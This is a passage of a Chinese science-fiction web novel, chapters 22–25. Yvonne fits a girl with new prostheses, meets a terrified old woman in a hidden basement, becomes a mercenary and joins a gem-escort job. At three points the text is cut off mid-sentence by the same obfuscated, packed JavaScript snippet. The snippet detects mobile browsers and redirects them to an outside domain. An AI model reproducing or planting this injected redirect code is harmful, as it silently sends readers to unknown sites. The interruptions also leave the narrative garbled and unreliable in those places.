停机场有安全信息扫描网,伊冯打开飞行器的接收器,利比逖的信息通过验证。她收到利比逖的终端后,拆了芯片装到她原来的终端里,可以根据需要实时切换身份。 停机场上的遮罩打开能令飞行器降落的缺口,而后迅速关闭。 指引光标引导飞行器到停机位,伊冯在半空看见几艘曾在陨石群边缘混战的载具,停机场也按她们在城内的势力划分了区域。 分给伊冯的位置离出口很远,她往外走的路上观察那些载具的状态,在心里评估这些能不能成为她的潜在客户——转念一想,她赚钱是为了做研究,栖止的人只交易现金,要换成虚拟货币再去买研究材料,麻烦得毫无必要。 她便不多看,快步往出口赶。 停机场离城门也有段距离,伊冯走得心烦:就不能做条自动走道吗,这点距离维护起来能麻烦到哪去。看来她还得做个代步机。 伊冯进城后直奔R的住所,在路过一间杂货店时买了些压缩食品,这类食物虽然口感不好,但比大多餐厅里现做的营养成分更丰富,也更好保存。 她敲击土灶上的木板三下,R很快上来给她开门,见到伊冯手臂上的显示屏就很有节奏地蹦字。 伊冯把手里拎着的几包材料分她几袋拿下去,出了通道,却见到一个眼熟的人站在房间中央。 目测身高勉强有一米六的女孩穿着不合身的衣服,布料下隐约可见缠遍全身的绷带。这次她的绷带没染血,但透着奇怪的颜色和气味,这些绷带不是单纯的装饰品。 看来R说的之前为她治病的医生,就是这位“怪医”了。 22. 实验 “怪医”对伊冯说:“谢谢你修好她的脚,我实在不懂怎么让机器动起来。” 伊冯不由回想起之前看到怪医的“治疗”过程,她说的“动起来”不会是指让病人痛得反射性抽动吧?这种思路确实很难对机械义肢起作用。 而且她为什么要向自己道谢? 伊冯现在满心只想着更新R身上残破的义体,然后顺理成章地拿这块地下空间当实验室,先把利比逖的面具做出来。简单应付了怪医两句,就拉着R进房间鼓捣她身上的部件。 首先是两只手。右臂整条都是义肢,伊冯得R同意后解开她的衣服,发现右肩骨也有缺损,身上绑了很多布条辅助固定右臂;左臂除了拇指和食指断了用金属条替代,别的部位只是表皮受损,便先从左手开始。 伊冯拆掉左手只能用来借力的两根金属条——金属条和R的残肢部分已经长在了一起,伊冯用手术切针割开黏连的部分,这种专业工具可以做到不切伤人分开黏连物,省去镇痛和止血清洁的步骤。将金属条从R手上分出,安上她事先做好的义指,两根义肢连着同一个掌套固定在R手上,可以感应手部肌肉活动做出相应动作。能直接接收大脑指令的义肢需要内置更复杂的芯片,伊冯现在一没时间二缺材料,只能先给R做个简单的将就着用。 R的右臂框架可以保留,基础功能没有大问题,老旧的局部替换翻新也简单,再根据R右肩的残缺状态做一个更贴合身体的固定装置就好。伊冯把连接的键盘拆了,将她手臂上的显示屏换成带投影和发声功能的触摸屏,未使用时的屏幕状态可自定义,伊冯询问过R的意愿后,设置成层一团旋转星云的图案。 在R新奇地举高手看着长在自己手上的星星时,伊冯继续观察她身上别的部位。 R衣服下的躯干倒是没有义体,但皮肤状态非常糟糕,遍布瘢痕,像一片摔在地上再扣起来的湿泥;不规则的瘢痕上有许多颜色更红的波浪形条纹,应该是损伤严重的皮肤跟不上身体成长状态,皮肤撕裂又愈合留下的痕迹。 伊冯把小型医用检测器放在R身上,挪动着位置检查她的内脏状态,看着反馈的图像皱眉:没一处好的,她究竟遭遇了什么? “是爆炸事故。”怪医一直站在床边看伊冯为R维护,她回答了伊冯的疑问,“栖止开发时发生了意外。她能活下来,已经是奇迹。” 伊冯继续看着R的内脏状态,最迟也得在五年内把这些都更换了,否则她活不过三十岁。 R见伊冯眉头紧锁,被她的情绪影响,有些胆怯地放下手,摸着右手新换的屏幕试图说什么。 怪医帮她问出来:“R的情况很糟吗?” 伊冯收起检测器,合上R的衣服,站起来说:“会很麻烦。植皮和更换声带恢复说话能力都好说,内脏移植手术难度也不高。但她只有大脑是完好的,要换这么多器官,对她的身体承受能力要求很高。还不如直接换个新身体。” 怪医用不可置信的表情看着伊冯,伊冯没管她是怎么想的,指正R操作新屏幕的方法。 “现在已经很好了我不用新身体!” R的手臂发出一串声音,她听着陌生的声音瞬间忘了在着急什么,好奇地继续输字听声音。 伊冯等了会儿,见R只是在没有重点地打字试音,没有继续讨论要不要换身体的问题的意思,便说:“按我们之前的约定,现在我可以把这里空置的地方当工作室使用了,对吧?” R点头,又犹豫地摇头:“还没答应。” 旅店店主还没同意这件事吗?伊冯说:“她会答应的。” 伊冯教R打开投影功能放科教纪录片看,她在中转站的网络下载了很多有助于R了解外界的资料。 R被立体投影营造出仿佛身临其境的画面吸引,伊冯离开她的房间,清理出一张桌子当实验台,开始做面具。 “你学过医吗?” 伊冯转头,怪医跟着她出来,表情很认真地问她。 伊冯点头:“怎么了?” 怪医说:“栖止城里,没有好医生。” 这话让伊冯有些意外,原来怪医知道自己的医术不行? 怪医说完就爬上离开的通道,伊冯没在意她突然的评价是什么目的,低头继续调配制作面具用的试剂。 “哒。咚。哒……哒……” 奇怪的敲击声,伴随着虚浮的脚步声,R走路不是这动静。 伊冯再次转身回头,看到一个瘦得骷髅般的老人扶着墙靠近她,一边走一边拿石头敲墙,糟乱的斑白头发衬得脑袋更大,遍布皱纹黑斑的皮松垮地包着骨头,像要蜕皮的蜥蜴。 生物信息与她上次在R房间发现的那个人一致,看来这就是今后她的另一位同居人了。 考虑到今后少不了相处,伊冯暂且放下手里的试剂瓶,向对方打招呼:“你好,我叫利比逖,今天开始也住在这里。您怎么称呼?” 对方深陷在眼窝里的眼睛只瞪着伊冯的手,神经质地点头,嘟囔着:“没错,放下,放下,不要做,不可以做……” 老人丢下石头,扶着墙靠近伊冯,伸长手去够她身后桌上的东西。 伊冯挡住她:“这些是我的东西。” 老人突然尖叫:“会死的!我们都会死!她们会发现我们!” 这么瘦的人居然能发出这么高分贝的噪音。 伊冯捂住她的嘴,老人立刻一副窒息的样子两眼上翻、胡乱挥舞手臂、用力蹬地,刚松开她又精神地要去抓伊冯的实验器材。 伊冯担心自己用力会折断老人的骨头,只能张着手掌贴住老人的前胸后背,控制着力道和速度把人往R的房间推。好在越是远离她的实验台,老人的情绪越稳定,最后自己顺着伊冯的施力方向倒着走。 R还躺在床上看纪录片,嘴巴不知道张开了多久,枕头上有一滩水痕。 伊冯把老人推到R身边,R吓了一跳,慌忙关掉投影坐起来,想把老人往被子里藏。 伊冯问:“她是谁?你姥姥?” R停下徒劳的动作,小心地看着伊冯,在右手上打字:“可以不要告诉别人吗?” 见伊冯点头答应她,R才把披在老人身上的被子拉下来,交代老人的来历。 老人不是R的亲人。几年前,R在深夜听到地道深处有奇怪的声音,她顺着声音找过去,声音是从墙上的小洞中传出,她把洞挖开,挖出了不知为何被埋在墙中的老人。 R本想告诉照顾她的人这件事,但试探的话得到不留余地的拒绝,她担心老人会被丢出去自生自灭,便偷偷藏下了人,每天把自己的食物分给对方。 被养着的自己养活了另一个人,这个事实一定很让R开心吧,或许也是她能在地下生存这么多年没有精神失常的重要因素。 伊冯问:“她有说过自己的来历吗?比如名字、出生地,为什么会被活埋?” R摇头:“她不会说话能看懂字不会写。” 伊冯说:“她会说话,而且声音很大。” R困惑地看着伊冯,在伊冯为她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621594|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做了这么多事后,她信任伊冯说的任何话,但刚才这句话和她多年的认知产生冲突,便怀疑是不是自己理解错了伊冯的话。 老人正双目无神地盯着空气发呆,伊冯让R把老人带出来,转身走回实验台前。 R相信伊冯要她做的事一定很有必要,赶紧把准备躺倒的老人扶起来跟着伊冯走,担心老人走太慢让伊冯等太久,又把老人打横抱起。 老人安静温顺地随R带她移动,却在看到伊冯站在桌前的背影时全身猛地一抽,伊冯双手举着试剂转身面对她,老人立刻发出高亢的尖叫。 “丢掉!不能做!会死人!会死很多人!我们都会被杀掉!”老人挣扎着朝伊冯伸出手,喊叫渐渐变成哭号,“求求你,停下来!不要!不要被杀掉……” 伊冯把东西放回桌上,给老人展示两只空手,老人马上止住喊声,反复地在她两只手间来回看,向她确认:“你不会做那些了?” 伊冯问:“做什么?” “实验!”老人提高音量叫道,“不可以做实验!” 伊冯问:“为什么?” 老人的表情像是伊冯问了“一加一为什么等于二”这种理所当然的问题,奇怪地反问伊冯:“做实验会死的,你不知道吗?” 伊冯走近她,仔细地观察老人的表情,问:“你做过什么实验?” 听到这个问题,老人的表情出现短暂的空白,接着全身发抖,抬起手遮住脸避开伊冯的眼睛,伊冯再问什么都只会反复念着“对不起”。 老人就这么不知向谁道歉了几分钟,声音越来越高,突然大叫一声昏了过去。 R无措地看着伊冯,抱着老人的姿势让她不好打字,老人反常的样子也让她害怕,只能期待伊冯解决问题。 伊冯摆正老人的脑袋确保她呼吸通畅,而后用检测器检查老人的身体状态。 除了年迈导致的各器官退行性变化,她的身体状态倒是远比R健康。 伊冯让R把人放到床上:“只是情绪太激动了,让她躺会儿自己醒来就行。” 她又掏出口袋里的压缩食品,放了两包在老人肚子上:“两个都是骨头架子。以后她的那份我负责,你好好吃饭。” R开心地带人回房间去了,伊冯回到桌前继续多次被打断的实验。 老人的情绪会被实验相关的事情调动,是某场实验让她变成现在这样?她说的“她们”指的是具体的人,还是因恐惧死亡而虚构出的存在? 在老人的认知里,“实验”等同于“死亡”,是什么在她的意识中刻下这样的概念? 和导致R残疾的爆炸事故有关吗?难道是某种实验引发的爆炸?怎么会有人在刚被发现开发的栖止上做什么实验? 伊冯一时想不到有什么致人死亡的实验事故,建立实验室的安全标准很高,实验器材出厂设置里就有各种防伤害设计,再加上必须有防护功能的实验服,要因实验死人可不是件容易的事。就算她现在条件这么艰苦,哪怕不打开她习惯的防护罩,只凭她用的试剂瓶自带的防炸防泄漏设计,也很难出事。如果是以不使用任何正规设备、材料为前提,与其说是实验意外,倒不如说是操作员在策划自杀。 实验事故这么罕见的事,应该会有新闻纪录。 伊冯抬手按终端上网,接着想起栖止没通内网。 之后她做实验要查资料,难道都要往中转站跑吗?太耽误时间了。 伊冯思考片刻,忽然眼前一亮:东西盟驻点里肯定有专用的网络通道。 23. 转行 钱是世界上消耗速度最快的东西,且获取效率与消耗速度往往极其不成正比。 伊冯趴在飞行器操作台上,她刚才五分钟花光了两个月的收入,购物清单居然还有两页。 这段时间她从没缺过顾客,也学会了怎么开出踩着客人接受上限的价格,对比别的工程师,她可说是日进斗金。 但她要做的实验,就算放在研究塔里也是最烧钱的项目,靠维修赚的这点钱根本不禁花,一小块蓝金就能掏空她的存款。 利比逖的面具早就做好了,经过几次改进,现在的面具已经能在伪装的同时,承担原生皮肤的功能;不仅在人眼和机器检测下不会有任何破绽,哪怕几个月都不摘下也不会对面部皮肤造成负担。 伊冯目前最主要的研究目的是探索自己的穿越体质,为此需要海量的空间跳跃器启动数据。空间跳跃器的价格都是千万起步,她是能自己做一台跳跃器,但跳跃器必须的能源蓝金只能靠买,而十次超远距离跳跃消耗掉的蓝金市值就要五十万——是她当初为了进栖止给出去的那块蓝金的价值。 相比她需要进行的实验消耗,这五十万的损失弥补回来也无济于事。伊冯没在这件事上多纠结,只是把蹭网的后门开在了东盟驻点的专用网域里。 【利比逖,你还在中转站吗?我的运输机突然不动了,你能过来看看吗?】 伊冯关掉跳出的消息,做维修还有一点很麻烦,她不能只在自己缺钱或有空的时候出来工作,否则客人就选别人消费了。她技术水平高,一直有新客慕名而来,但老客户也流失严重,因为她很多时候不想放下手里的实验,情况紧急的客人自然选了别人修理设备。 靠维修挣钱来支持研究不是长久之计,得重新计划了。 不过目前能到手的钱还是先拿来吧。 伊冯快速吃掉一包压缩饼干,走出被她充当休息仓的飞行器,去完成订单。 “还是你修得快,再多拖几小时,我这小店又要被包裹淹了。”找伊冯修机器的是在物流点边做快递分拣寄存生意的,“我这边看到了,你有几个包裹在路上,物流船刚走,再过来得明天了。” 伊冯点头,她买的东西发货点都远,要不是售价高、卖家愿意选全程走跳跃点的物流,少说得等一周。 寄存点老板等了会儿,见伊冯没有接话交谈的意思,讪讪地结了维修费转身进店。 以前老板主动提起伊冯的快递情况,会接着说能帮伊冯先收着、不收寄存费,还清出一块地方专门放伊冯的快件。现在,老板似乎觉得这么做没有好处,不准备继续做多余的事了。 伊冯没放在心上,她买的东西应该明早十点前能到,干脆在中转站过夜吧,现在回栖止也没有什么重要的事做,短期内往返只是浪费燃料。 她找了街边一条空椅子坐着,手揣在上衣口袋里组装些小部件,同时观察着路过的行人。 现在她有以假乱真的身份和面具,完全可以扩大活动范围了——伊冯再次考虑起做佣兵的可行性。 在她接触过的客人中,佣兵是出钱最大方的群体,显然她们的收入要比一般工种高出一截。大多佣兵都是组队活动,许多人也以加入某个知名佣兵团为荣,但伊冯不想被限制在团体活动中,收入要被分配,也不能自行安排时间做她的研究。而像布莱恩那样做单干的自由佣兵,最不方便的在于委托方更信任大佣兵团,能被个人接到的任务要么报酬低,要么任务本身危险度难度过高,大团出于安全和利益考量不愿意接。 伊冯把新装好的飞行器从口袋里掏出来,做这个机器的金属是她用以诺关她的那根链子熔的:先做出改变吧,总比停步不前要好。 中转站上有个佣兵大厅,专门为佣兵提供服务。伊冯先在内网上注册了佣兵身份,成为佣兵的门槛非常低,有合法身份证明并满十五岁,只要能交得起五十块钱的注册费,就能成为合法注册佣兵,到线下大厅领一块星盟盟会把持制造的佣兵徽章。 领到徽章后,再将徽章与终端信息匹配,才算正式完成注册。 伊冯摩挲着徽章:里面好像装了定位器,是星盟管控佣兵的手段之一吗? 她见过的佣兵都没有戴着徽章的,伊冯把徽章塞进口袋,也不打算戴起来。 佣兵服务厅里人来人往,除了佣兵也有些来发任务的普通人,伊冯离开挤满吵闹佣金问题的人的服务台,不断更新任务公告的屏幕前也站满了人。伊冯不明白这些人为什么要把能在线上完成的事带到线下,艰难地避开人群钻出大门。 走到大街上,伊冯呼了口气,登入任务页面,上面按难度和佣金高低分了类,伊冯点中“按佣金从高到低排序”,筛选自己能做的任务。 花费时间过长的不行,为赚钱搁置她的研究时间就本末倒置了;单笔佣金低于一万的不考虑,她接几笔维修单可比远程而去做任务效率高;涉及研究塔的不能碰,她的技术几乎都是从研究塔那学来的,而研究塔对自家专利抓得很严,就算没暴露身份,研究塔发现她也会把她丢进监狱。 伊冯看了会儿,高佣金的任务很少,标价高的任务里不少是涉及个人纠纷的雇凶施暴。明目张胆地把这种委托发出来,看任务状态还有不少人愿意接,也难怪星盟对佣兵的态度消极。这类任务她也不考虑,再缺钱她也不至于沦落到做打手。 许久没看到合适的委托,伊冯看烦了,松开终端望天。视野中一点扎眼的白吸引了她的注意。 伊冯看过去,是六个一身白色轻甲的人,全身都被无瑕的白色包裹,脸部被没有任何痕迹如光滑石面的面具盖住。 和当初袭击她的人是同一制式的轻型装甲。现在她知道,那是“怪物佣兵团”的标志性穿着,“怪物”出现在人前总是那副装扮,从不摘下面具,行动一致,仿佛共用一个大脑的机器人团体。 据说,“怪物”只在一种情况下摘下面具:当她们确定她们面对的是死人时。 伊冯看到了那个袭击者的眼睛,那么清晰的恨意,袭击她这件事,看起来不像是因为接受委托而做。 她看着那支迈着同样的步伐、动作如同复制粘贴般重合的白色队伍走向港口方向。她很好奇怪物对她的恨意根源,也一度担忧过没顺利杀死她的怪物会不会再伺机动手,但她不喜欢长时间保持紧张,一直没见怪物有动静,这事在她心中的优先级日渐下滑。 伊冯低头继续滑动任务页面,往下划了几页,都没看到中意的,眼见标注的佣金滑下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621595|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一万档,伊冯刷新页面看有没有新委托发布。 刷新时她发现筛选项最末尾有一个”官方悬赏“的选项,点进去,这一栏里是星盟发布的通缉悬赏和特殊人才招揽等信息。 抓通缉犯吗? 她的第一笔大额收入也是来自于星盟的悬赏,还有挟持过自己的那个逃犯,追龙和鬼兵都在抓他,赏金一定不低。 伊冯瞬间起了兴致,仔细查看悬赏对象信息。 她看了会儿,心里有了底,又调回之前的页面刷新看普通委托。 一般的委托佣金少,但内容明确易做;官方悬赏开出的价钱虽高,但如果目标好找,也不会发出来给别人捞这笔钱了。 伊冯记下那些赏金客观的,她可以按线索去尝试找出那些逃犯的所在地,但还是以可行性更高的佣兵委托为主。 正好被她刷出一条佣金三百万的委托,任务内容是“护送宝石”。 说到“宝石”就是卡洛琳,伊冯点开委托详细信息,果然标着卡洛琳的家徽。 卡洛琳的珠宝运送船队,总要在自家卫队外再加些佣兵保护,或许是为了保险,或许是怕出内鬼。而对于佣兵,卡洛琳也不喜欢固定人选,或许是怕被杀熟,或许是怕被研究出规律。多疑得只能让外人归结为一句“贵族都喜欢搞些故弄玄虚的举动”。 伊冯研究了会儿委托说明和佣金交付方式,三百万是所有接下这个任务的佣兵平分,卡洛琳限制了人数,最多十人,也就是每人最少能分得三十万。任务内容只是把装有宝石的船队从一个星系的星球,护送到同星系的另一颗星球上。 三百万的护送费,对于卡洛琳而言是笔正常支出,也就是这个任务在卡洛琳眼里没有风险,发佣兵委托可能只是维持她们一贯的作风。 伊冯提交了申请。这钱对于大家族不算什么,对于佣兵们可是块肥肉,任务发出不过两分钟,申请人数已经破万,伊冯只能尽力回想着她所知的卡洛琳的情报,按她们的喜好编写她的申请表,让自己看起来更有竞争力。 两小时后,伊冯正钻在飞行器发动舱里做检修时,收到了平台发来的委托通知。 看来她努力卖弄自己那点宝石保养知识的做法,对卡洛琳还真能起效。可惜卡洛琳不养熟,这经验得来也没有再用的时候了。 伊冯登上任务界面,和卡洛琳的交接人取得联系,确定了任务地点后,她继续完成对飞行器的日常检修工作。 在驾驶位上睡了一夜后,伊冯去快递点取回自己的包裹,而后驾驶飞行器升空,向中转站中控台发出空间跳跃申请。 没有安装跳跃器的载具如果要进行超远距离航行,就要像这样借助中转站的跳跃设备——大型跳跃器的制造难度和运行消耗远低于小型的,并会向使用者收取不菲的维护费,星盟到处建中转站可不只是为了便民。 这也是伊冯之前不考虑借公用跳跃器进行穿越实验的原因,单次使用费高,还不容易拿到设备数据,怎么想都是自己做一台划算。 不过,既然现在要跳跃了——伊冯打开她专为收集穿越数据做的监控器,记录周围空间波动状态。 一阵早有准备的眩晕后,伊冯眼前纷杂的画面凝结为一片虚无的漆黑。 24. 偏航 眨眼间 ,眩晕感又带她到了繁忙的港口。 这就回来了? 伊冯发现自己的防护罩开着,她关掉护罩,打开自动驾驶让飞行器自行入港。接着调出飞行器的运行日志,把护罩和戴在腰间的监控器连上操作台,比对多个设备的记录数据。 护罩自启动的感应条件里,显示着她刚才处于一个存在无氧、低温、高辐射等危险条件的环境;她腰上的监控器多出一段错误数据,穿越的后她不在飞行器内,这是那瞬间被记录下的。 她专为监控空间状态而做的仪器中,却出现报错,这次穿越是怎么回事,那个世界怎么了?那并不是一个可被观测的空间吗? 除了这些,飞行器的监控器和她腰上的,获取到了同样的空间波动信息。 和她之前从逃生舱备份的运行日志中找出的两条空间跳跃记录一致。阿吉斯飞艇上的五条记录中,有两条是她启动的,一次她没穿越,一次她进入了那个竹海世界;另三条是别人使用的,那三次的运行数据完全一致,没有异常,也没有多出那些好像只在她使用时才出现的信息。 她不止需要自己使用空间跳跃器的各项数据,还需要跳跃器正常使用状态的记录。 要验证她的穿越是因为那些不寻常的波动信息,她需要非常非常多的数据做支撑。 飞行器在停机位降落,伊冯连上网络缴纳停机费用,没有立刻关闭页面,而是抬头看着舷窗外络绎不绝的往来船只。 每个中转站的空间跳跃器上都存着她需要的海量数据,她要侵入后台拿到数据也不是难事。 伊冯暂且存下这个念头,确认身上武器装备的状态,走下飞行器启动防盗网,前往港口另一端。 做卡洛琳的生意要守许多规矩,比如不能擅入卡洛琳的领地,要由卡洛琳派人接入。 哪怕是应聘做临时护卫,也要在中转站等着卡洛琳派船来,接她们去真正的任务起始点。 伊冯到得算晚,主色调为橙红的飞船已经停靠了一段时间,船身上的太阳纹正在颜色最浓的部位,仿佛太阳于此西落,晚霞在此凝固。 舱门大开,卡洛琳的人站在舱门边核对着前来的佣兵身份。卡洛琳经营华丽的宝石,她们家的人倒是穿着低调,只是每个人身上都至少有一件宝石配饰。 伊冯走上前,出示利比逖的身份信息。 领结上镶着火欧泊的女人确认信息后,又上下打量伊冯,才说:“请去五号房间。” 一个戴着红宝石耳坠的女人示意伊冯跟着她走,态度有礼笑容得体,伊冯虽然不自在也只能先随她们安排——她这究竟是工作还是做客? 进了所谓的“五号房间”后,伊冯看着各类起居用品一应俱全的室内,更是疑惑。 “红宝石耳坠”说佣兵护卫卡洛琳的东西时,也代表了卡洛琳的脸面,请她洗漱干净,换上她们准备的衣物,再继续护卫工作。 说完便关上门,留伊冯一人在房内。 伊冯翻了个白眼,卡洛琳虽然现在不在十大家族之列,她们的人说话腔调还是和别家的一样做作。 自带展示功能的衣柜里放着两套衣服,都穿在人台上,色调是与飞船船身一致的橙红,点缀着繁复的黑白手工蕾丝。伊冯看着人台上设计不同但同样修身的衣服:任务申报里必填身材尺寸数据,原来是做这个用的。 卡洛琳的什么毛病,这两套衣服哪套适合战斗了?甚至有一套是裙装,雇人过来当吉祥物吗? 再怎么不情愿,伊冯也只能想着那三十万逼自己进浴室。 浴室里的烘干器风力平衡没做好,吹得她耳朵难受。她拿边角料做的烘干器都比这个的性能好。 伊冯把头发束好,揉着耳朵走出浴室,收到此次任务的负责人发来的消息,有个佣兵临时放弃这个任务,所以剩下的人完成任务得到的佣金调整为每人三十五万。 消息里还说,除了那个临时爽约的,人都到齐了,她们现在要出发前往任务地点。卡洛琳不喜欢滥用空间跳跃器,到达目的地还需五小时,佣兵们可在船上自行活动。 卡洛琳是想开拓旅游业还是服务业?花钱找了九个人来招待? 伊冯倒在床上,既然时间还长,她先睡一觉,看这次穿越后是否也会做梦。 这次的梦开始于一个狭小的房间。 房间里摆着许多仪器,维护得很好,没有一丝灰尘,但款式看着像是几百年前的老古董。这些仪器上连接着电线,十几条线往同一个方向汇去,流向一张白色的床,束缚着床上的女孩。 女孩看着不过八九岁,幼小的身体让床看起来很空。她的口鼻被一个透明的罩子扣住,随着她的呼吸蒙上水雾。 床边有一扇落地窗,阳光正好将整张床包住,女孩金色的头发在阳光里有些透明,更显病弱。 女孩睁开眼睛,天蓝色的瞳仁与阳光十分相称。她一醒来便皱着眉,神色中有着与年龄不符的忧郁。女孩转动着眼睛,看向紧闭的房门,背过窗外暖黄的阳光与美丽的风景,执拗地望着房门。 伊冯听到了脚步声,接着门被打开,黑发少年端着盆绿色洋桔梗进来,笑容比阳光更灿烂,雀跃地走向女孩。 少年献宝似的端着花盆,让女孩看开得正旺的花,说:“你看,我的花终于开了!我问过医生了,这个可以带进医院——喜欢吗?” 女孩看见少年的瞬间便藏不住笑,点头回应少年的话,有了孩童应有的天真烂漫的样子。 少年把花放在一边的桌子上,又到那堆仪器旁看了会儿,才回到床边扶着见到她便躺不住的女孩坐起来。 少年摘掉女孩脸上的透明罩子,说:“医生说找到和你匹配的肺了,等这次手术做好,你就不用戴着呼吸机睡觉了。” 女孩却不见欣喜,只是点头,头越点越低。 少年蹲在床边仰头看她,问:“不高兴吗?” 女孩抓着被角,低声说:“等我治好了病,你还会喜欢我吗?” 少年为女孩的问题发笑,说:“我的天才妹妹偶尔也会问些傻问题呢——我喜欢的是你,又不是你身上的病,你以为我是某个变态医生吗?” 女孩被她这话逗笑,少年避开女孩身上拉扯的许多线,起身坐到女孩身边。 女孩说:“我讨厌医生,医生对姐姐不好。” “我又不是她的病人,她对我好什么?”少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621596|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年把在女孩动作中松动的线重新固定好,“她是个对病人很负责的好医生,你要好好配合她进行治疗。” 女孩很不情愿地应好,少年见她不高兴,忽然把手握拳悬在她眼前。 少年说:“猜猜看,里面是什么?” 女孩转动着脑袋观察着拳头的样子,还闻了几下,边猜边小声说着:“不像是奶糖,握这么紧会变形;最近没有新发行的游戏,所以也不是游戏卡……” “当当!”少年突然张开手,一块柱形的蓝色宝石从掌心落下,被银链挂在她的指间,“生日快乐!” 女孩似乎惊喜得不知该如何反应,呆呆地转头看着少年,问:“这是什么?” 少年把银链从指间摘下,为女孩戴上,说:“你的生日礼物呀!这是有魔力的石头,能为你带来好运,会替我保护好你。” 女孩摸着脖子上的项链,慢慢攥紧项坠,脸上没有一丝喜意。 少年正要开口询问,女孩突然紧紧抓住她的胳膊:“今天不是我的生日!所有人都在骗你!我不是这个世界的!——” 梦境突然结束,伊冯揉着额头从床上坐起。 那条项链上的宝石,是蓝金。蓝金具有一定放射性,做首饰贴身戴着可不是好选择。 不过梦中女孩的反应,应该不是因为知道蓝金的害处。 她说那名少年被所有人欺骗,骗了什么?女孩的生日日期,还是女孩本不是那个世界的人? 女孩最后的话没说完,但对于多次穿越的伊冯,剩下的信息不难补足。 这个梦与她这回穿越见到的漆黑世界有什么关系?前两次的穿越后,梦到的都是她遇见过的对象相关的信息,这次的则完全找不出关联性。 不过,这三个梦之间倒好像有什么关系。 三场梦中,她都见到了一个黑发的女性,她们外貌不同,但都担任着某种程度上的“引领者”的角色。 黑发,东方人的面孔,温柔的指导者……如此具体地在她梦中反复出现,仿佛某种象征,某种刻意的提示。 之后的每场梦里都会有一个黑发女人吗? 伊冯摸着自己的金发,梦里直言来自另一个世界的女孩也是金发。这也是梦境抽象的表达? 她的这些疑问,在短时间内恐怕都难有答案。要找出答案,首先要有备选的猜测;要推出可信的猜测,则需要足够多的数据支撑;要得到可靠的数据,需要大量得到实验。 这又绕回伊冯现在最头疼的问题,她要去哪得到那么多的空间跳跃器运行数据? 若说可行性最高、难度最低的,就是侵入中转站数据库,拿到那些每日启动不下百次的跳跃器数据。 问题是,值得吗? 她确实是靠破坏了不少规则才走到这里,但今后呢?她要一直藐视所有法规、逃避所有规则去完成她想做的事吗? 做到了之后呢?她想靠这些实现什么呢? 当她掌握了穿越的规律,可以随心所欲地前往无数个世界后,她又要去哪里? 伊冯删掉了入侵数据库的想法:向前走,不代表就要把身后路都搞塌,她还想以“伊冯”之名光明正大地活动呢。 25. 宝石 被敲门通知该行动时,伊冯才穿上衣柜里的衣服——她混穿了两套衣服,裙装的上衣虽然是泡泡长袖,好歹袖口够宽;另一套的裤子穿上后紧包着下半身,压得她小腹挤压内脏。 这一身穿上,伊冯觉得自己呼吸都不顺畅了。 那三十五万其实是让她们穿这种东西的精神补偿吧? 配套的鞋子更是刑具。 伊冯套上自己的鞋子,抽出裙子上的一条丝带,把自己的衣服打包拎着走出房间:就算把整个卡洛琳送给她,都别想她穿那种完全违背人体结构的东西。 或许是因为她把“想打人”的怨气摆在脸上,卡洛琳的人看到她的穿着也没说什么,只叫她快点下船,换乘到雇佣她们看护的商船上。 伊冯走下飞船与她此次的同事们汇合,发现九名佣兵里只有一个人把卡洛琳准备的衣物穿了全套,别的都多少“自由发挥”了点,甚至有人只戴上了宝石胸针。 穿了全套的那位似乎觉得自己太老实,不自在地站在一边脸色发红。伊冯也反省自己太顺着卡洛琳的安排了,原来只戴首饰就行啊,她可以现在去把衣服换了吗? 后背突然有些发麻,伊冯侧身调整站姿,让自己向后看的动作不显得突兀。 虽然她们是被限制在房间里运过来,周围没有任何标识,但只看天上虹色的云层,就能认出这里是属于卡洛琳的星球,贝丽修玛系最明艳的宝石“朱厄尔”。 朱厄尔上只有卡洛琳的人,偷窥她的视线只会来自卡洛琳的眼睛。有人在哪里观察着她,是在评估雇佣的护卫是否合格吗?有这种必要吗? 她被卡洛琳买走的那块红宝石,也在这颗星球上吗? 卡洛琳是直接从米伽手上买走宝石,卡洛琳如果想知道宝石原主人是谁,不难查到她。 伊冯还在揣测那道视线的来由,戴着火欧泊的女士开口催促她们登船。 船舱关闭后,“火欧泊”女士说:“这艘船上有五个专门用于存放宝石的房间,几位只要保护好自己负责的那个房间,确认没有不应该出现的出入情况,就可以得到应得的那份佣金。” 伊冯点开新收到的消息,里面是一张残缺的船舱路线图,只标示了她从当前位置到负责的房间的路线,其余区域都未画出。 她抬头看着走道上十步一人的卡洛琳卫兵,越来越觉得,卡洛琳发出雇佣佣兵的任务,只是为了对众宣告她们有新一批宝石可以售卖。 九名佣兵各自跟着收到的路线图散开,伊冯跟着指示走到一扇紧闭的舱门前,门的两边站着两位门神似的守卫,目不斜视地看着前方。 